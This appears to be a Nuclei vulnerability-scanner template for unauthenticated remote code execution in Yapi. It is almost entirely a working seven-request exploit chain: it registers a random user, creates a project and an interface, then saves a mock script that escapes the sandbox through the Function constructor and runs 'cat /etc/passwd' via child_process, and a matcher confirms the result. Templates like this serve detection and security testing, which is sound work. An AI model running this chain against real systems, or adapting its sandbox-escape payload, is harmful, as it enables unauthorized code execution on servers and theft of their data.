94 lines
2.8 KiB
YAML
94 lines
2.8 KiB
YAML
id: yapi-rce
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info:
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name: Yapi Remote Code Execution
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author: pikpikcu
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severity: critical
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description: A vulnerability in Yapi allows remote unauthenticated attackers to cause the product to execute arbitrary code.
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reference:
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- https://www.secpulse.com/archives/162502.html
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- https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b
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- https://twitter.com/sec715/status/1415484190561161216
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- https://github.com/YMFE/yapi
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tags: yapi,rce
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requests:
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- raw:
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- | # REQUEST 1
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POST /api/user/reg HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json;charset=UTF-8
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{"email":"{{randstr}}@example.com","password":"{{randstr}}","username":"{{randstr}}"}
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- | # REQUEST 2
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GET /api/group/list HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json, text/plain, */*
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- | # REQUEST 3
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POST /api/project/add HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json;charset=UTF-8
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{"name":"{{randstr}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"}
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- | # REQUEST 4
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GET /api/project/get?id={{project_id}} HTTP/1.1
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Host: {{Hostname}}
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- | # REQUEST 5
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POST /api/interface/add HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json;charset=UTF-8
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{"method":"GET","catid":"{{project_id}}","title":"{{randstr_1}}","path":"/{{randstr_1}}","project_id":{{project_id}}}
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- | # REQUEST 6
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POST /api/plugin/advmock/save HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json;charset=UTF-8
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{"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"cat /etc/passwd\").toString()","enable":true}
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- | # REQUEST 7
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GET /mock/{{project_id}}/{{randstr_1}} HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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extractors:
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- type: regex
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name: group_id
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group: 1
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internal: true
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part: body
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regex:
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- '"_id":([0-9]+),"group_name"'
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- type: regex
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name: interface_id
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group: 1
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internal: true
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part: body
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regex:
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- '"req_body_form":\[\],"_id":([0-9]+)'
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- type: regex
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name: project_id
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group: 1
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internal: true
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part: body
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regex:
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- '"tag":\[\],"_id":([0-9]+)'
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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part: body
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- type: status
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status:
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- 200
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